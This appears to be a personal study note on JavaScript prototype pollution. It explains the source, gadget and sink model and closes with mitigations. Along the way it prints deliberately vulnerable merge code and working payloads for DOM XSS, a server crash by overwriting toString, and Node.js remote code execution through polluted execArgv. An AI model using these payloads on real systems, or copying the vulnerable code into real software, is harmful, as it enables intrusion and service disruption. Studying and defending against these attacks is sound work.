🧠 JavaScript - Prototype Pollution

What is it?

  • Concept:

This vulnerability allows an attacker to add malicious properties into an object’s prototype. In JavaScript, objects are key-value pairs that inherit from prototypes, ultimately tracing back to Object.prototype (which itself has a null prototype). By passing unclean input into recursive merge functions, an attacker can overwrite or “pollute” the base Object.prototype

Because of JavaScript’s inheritance tree (Object.prototype String.prototype / Array.prototype instances), polluting the root prototype affects all objects in the application.

  • Impact: Client-Side DOM XSS, Server-Side Denial of Service (DoS), and Remote Code Execution (RCE)

How it works

Successful exploitation relies on three critical components:

  1. Source: The entry point for the malicious input, such as URL parameters, JSON bodies, or web messages

Note: The vulnerability often relies on JSON.parse(), because parsing a JSON string explicitly treats __proto__ as a key, whereas defining a raw JavaScript object might not

  1. Gadget: The specific property being manipulated by the attacker. This property must be subsequently used by the application in a dangerous way.

  2. Sink: This is the function that is it used in a ‘dangerous way’ that we’ve mentioned previously. It is the function or DOM element that executes the polluted gadget. Common sinks include eval(), script.src, and innerHTML.

Example vulnerable code:

// --- The Enabler: A vulnerable recursive merge function ---
// This function blindly copies keys, including __proto__, without sanitization.
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}
 
// ==========================================
// THE ATTACK CHAIN
// ==========================================
 
// 1. THE SOURCE
// The application receives malicious JSON input from the attacker 
// (e.g., via a POST request body or parsed from a URL hash).
let maliciousInput = JSON.parse('{"__proto__": {"customAvatar": "<img src=x onerror=alert(\\'XSS\\')>"}}');
 
let appConfig = { theme: "dark" };
 
// The application merges the malicious input into the app config.
// *POLLUTION OCCURS HERE*: Object.prototype.customAvatar is now set.
merge(appConfig, maliciousInput); 
 
 
// 2. THE GADGET
// Somewhere else in the application, a completely unrelated object is created.
let userProfile = { 
    username: "Admin",
    role: "System Administrator"
    // Notice: There is no 'customAvatar' defined here.
};
 
// The application's business logic checks if the user has a custom avatar.
// Because 'customAvatar' is undefined on userProfile, JavaScript traverses up 
// the prototype chain, finds it on Object.prototype, and returns the malicious string!
let avatarToRender = userProfile.customAvatar || "default-avatar.png"; 
 
 
// 3. THE SINK
// The application takes the gadget (the polluted data) and passes it into 
// a dangerous execution context—in this case, rendering it directly to the DOM.
let profileDiv = document.getElementById("profile");
profileDiv.innerHTML = avatarToRender; // XSS triggers here!

Exploitation

Attack Vectors

Vector 1: Client-Side DOM XSS

Attackers can pollute prototypes via URL parameters to inject malicious scripts into the DOM. The PortSwigger DOM Invader extension is a highly effective tool for scanning for these sources and gadgets within browser developer tools.

// --- 1. THE SOURCE ---
// Assume the attacker sends the victim a link:
// https://example.com/?__proto__[script_url]=data:,alert('XSS')
 
// A vulnerable function parses the URL query and insecurely merges it
function parseQueryParamsAndMerge(defaultConfig) {
    const params = new URLSearchParams(window.location.search);
    let userConfig = {};
    
    for (let [key, value] of params.entries()) {
        // Vulnerable regex/split logic that creates deep objects
        let keys = key.split(/\[|\]/).filter(Boolean); 
        let current = userConfig;
        
        for (let i = 0; i < keys.length - 1; i++) {
            if (!current[keys[i]]) current[keys[i]] = {};
            current = current[keys[i]];
        }
        // POLLUTION OCCURS HERE: current['__proto__']['script_url'] = 'data:,alert("XSS")'
        current[keys[keys.length - 1]] = value; 
    }
    
    // Merge into defaults
    return Object.assign({}, defaultConfig, userConfig);
}
 
const config = parseQueryParamsAndMerge({ theme: 'dark' });
 
// --- 2. THE GADGET ---
// Later in the application, a completely different component needs to load a script.
// It creates an empty object for options.
let scriptOptions = {}; 
 
// Because of the pollution, scriptOptions.script_url is NOT undefined.
// It inherits the malicious data URI from Object.prototype.
let scriptToLoad = scriptOptions.script_url || "https://analytics.example.com/tracker.js";
 
// --- 3. THE SINK ---
// The application injects the script into the DOM.
let scriptEl = document.createElement("script");
scriptEl.src = scriptToLoad; 
document.head.appendChild(scriptEl); // XSS triggers!

Example Payload: ?__proto__[transport_url]=data:,alert(1)

Mechanism: If the application has a sink that assigns config.transport_url to a script.src element, the application will pull the malicious data URI from the polluted prototype and execute the alert

# Paste command or payload here

Vector 2: Server-Side DoS

Denial of Service (DoS): Attackers can cause a DoS by polluting properties like req.body, encoding, parameterLimit, or content-type.

Example Payload:

const express = require('express');
const app = express();
 
// Vulnerable merge function used somewhere in the app
function merge(target, source) { /* ... vulnerable logic ... */ }
 
// --- 1. THE SOURCE ---
app.post('/update-profile', express.json(), (req, res) => {
    let userProfile = {};
    
    // The attacker sends a JSON body:
    // {"__proto__": {"toString": "I am a string now, not a function!"}}
    
    // POLLUTION OCCURS HERE
    merge(userProfile, req.body); 
    res.send('Profile updated');
});
 
// --- 2. THE GADGET & 3. THE SINK ---
// Now, ANY subsequent request to this server that triggers a toString() 
// conversion on a standard object will crash the entire Node.js application.
 
app.get('/log-activity', (req, res) => {
    let activityData = { user: "admin", action: "login" };
    
    // Internally, console.log or string concatenation often calls .toString()
    // Because Object.prototype.toString was overwritten with a string, 
    // this throws a TypeError: activityData.toString is not a function
    console.log("Activity logged: " + activityData); 
    
    res.send('Logged');
});

Server-Side Node.js RCE

This is the most critical vector. It occurs when a Node.js backend uses modules like child_process and the attacker pollutes the options object that is passed to those functions.

const express = require('express');
const { fork } = require('child_process');
const app = express();
 
// Vulnerable merge function
function merge(target, source) { /* ... vulnerable logic ... */ }
 
// --- 1. THE SOURCE ---
app.post('/import-config', express.json(), (req, res) => {
    let appConfig = {};
    
    // The attacker sends:
    // {
    //   "__proto__": {
    //     "execArgv": [
    //       "--eval",
    //       "require('child_process').execSync('touch /tmp/pwned')"
    //     ]
    //   }
    // }
    
    // POLLUTION OCCURS HERE
    merge(appConfig, req.body);
    res.send('Config updated');
});
 
// --- 2. THE GADGET & 3. THE SINK ---
app.post('/run-background-job', (req, res) => {
    // The developer intends to fork a harmless background script.
    // They pass an empty options object (or an object without execArgv defined).
    let options = {};
    
    // When fork() is called, Node.js internally inspects the `options` object.
    // It checks for `options.execArgv`.
    // Because of the pollution, it finds our malicious array on the prototype!
    // It spawns the new Node process with our injected command-line arguments.
    
    const job = fork('harmless-worker.js', [], options); // RCE triggers here!
    
    res.send('Job started');
});

Mitigation

  • Key Sanitization: Implement strict deny-lists within merge functions to ignore keys like __proto__, constructor, and prototype.

  • Safe Libraries: Ensure all object-merging libraries (like merge) are updated to their latest, patched versions.

  • Prototype-less Objects: Use Object.create(null) to instantiate objects. This creates an object that completely lacks a prototype, rendering it immune to prototype pollution.

  • Freeze the Prototype: Call Object.freeze(Object.prototype) to lock the global prototype, preventing any downstream modifications.

  • Use Modern Data Structures: Utilize JavaScript’s built-in Map or Set objects for key-value storage instead of traditional Objects.

TABLE creation_date AS "Created" 
FROM "05 - Content" 
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") 
SORT file.name ASC